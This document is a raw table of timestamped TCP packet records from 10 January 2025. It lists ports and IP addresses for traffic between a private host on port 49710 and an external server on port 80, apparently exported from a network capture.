Jan 10, 2025 22:51:42.225054979 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225061893 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.225090027 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.225786924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225912094 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225924015 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225936890 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225945950 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.225950003 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225961924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.225970030 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.226001978 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.226655960 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.226701975 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.226715088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.226742029 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.226836920 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.226850986 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.226870060 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.226874113 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.226886034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.226908922 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.227524996 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.227550983 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.227565050 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.266606092 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.274049044 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.274063110 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.274075985 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.274118900 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.274132967 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.274142027 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.274173021 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.274209023 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.274221897 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.274271011 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.290673971 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290703058 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290719986 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290734053 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290756941 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290765047 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.290771008 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290786982 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290791988 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.290822029 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.290855885 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290885925 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290899992 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.290900946 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.290934086 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.305377007 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.305392981 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.305407047 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.305469990 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.305474997 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.305497885 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.305516005 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.305556059 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.305609941 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.305629969 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.305641890 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.305672884 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.318432093 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318445921 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318460941 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318537951 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318569899 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318576097 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.318584919 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318613052 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.318629026 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.318638086 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318706036 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318721056 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318746090 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.318783998 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318798065 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.318825006 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.333535910 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333550930 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333564997 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333586931 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333600998 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333602905 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.333626032 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.333643913 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.333688021 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333702087 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333746910 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.333771944 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333803892 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333823919 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333843946 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.333925009 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333937883 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333952904 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.333960056 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.333990097 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334036112 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334048986 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334063053 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334094048 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334203005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334244967 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334259987 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334273100 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334310055 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334311008 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334352016 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334364891 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334389925 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334470034 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334506989 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334530115 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334543943 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334579945 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334611893 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334625959 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334639072 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334660053 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334748983 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334789991 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334811926 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334825039 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334861994 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.334906101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334919930 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334933043 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.334954023 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335005999 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335042953 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335186958 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335212946 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335227966 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335249901 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335300922 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335324049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335338116 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335351944 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335378885 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335378885 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335573912 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335587025 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335608959 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335622072 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335654020 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335678101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335691929 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335705996 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335727930 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335730076 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335767031 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335856915 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335876942 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335896015 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335911036 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335921049 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335925102 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335938931 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335944891 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.335953951 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335967064 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.335973978 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336013079 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336199045 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336215019 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336275101 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336554050 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336569071 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336582899 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336610079 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336684942 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336699963 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336714029 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336720943 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336751938 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336808920 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336822987 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336837053 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336850882 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336860895 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336865902 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336889029 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336899042 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.336939096 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.336965084 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337073088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337091923 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337105989 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.337106943 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337121010 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337146044 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.337532997 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337546110 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337558985 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337570906 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.337599993 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.337603092 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337620974 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337649107 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337665081 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337668896 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.337704897 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.337738991 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337754011 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.337790966 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.341233969 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.362653971 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.362672091 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.362687111 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.362719059 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.362726927 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.362732887 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.362747908 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.362776041 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.362782955 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.362806082 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.362821102 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.362860918 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.393928051 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.393953085 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.393969059 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394006968 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394021034 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.394052982 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394062042 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.394089937 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394129992 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.394203901 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394217014 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394228935 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394246101 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394256115 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.394294024 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.394313097 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394431114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394471884 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.394489050 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394503117 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394529104 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.394553900 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.403827906 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.407290936 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407305956 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407325029 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407341003 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.407371044 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.407372952 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407391071 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407403946 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407417059 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407432079 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.407460928 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.407520056 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407533884 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407546043 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407557964 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407572031 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407582998 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.407586098 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407601118 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.407608986 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.407627106 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.422015905 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.422058105 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.422065020 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.422070980 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.422102928 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.422130108 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.422158003 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.422171116 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.422198057 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.422293901 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.422307014 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.422334909 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.424714088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424732924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424760103 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424761057 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.424774885 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424802065 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.424824953 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424838066 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424849987 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424863100 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.424890995 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.424931049 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424943924 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424956083 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424972057 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.424987078 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425014019 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425086975 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425100088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425116062 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425138950 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425153017 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425167084 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425180912 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425188065 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425215006 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425220966 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425290108 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425302982 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425329924 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425434113 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425447941 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425461054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425477028 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425484896 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425504923 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425518036 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425519943 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425544024 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425611973 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425626040 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425638914 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425652027 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425667048 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425678015 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425678968 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425694942 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425709009 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.425719976 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425740957 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.425774097 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426203966 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426218033 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426229954 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426244974 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.426274061 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.426290035 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426306009 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426320076 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426333904 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426343918 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.426367998 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 22:51:42.426446915 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 22:51:42.426460028 CET	80	49710	193.143.1.205	192.168.2.12
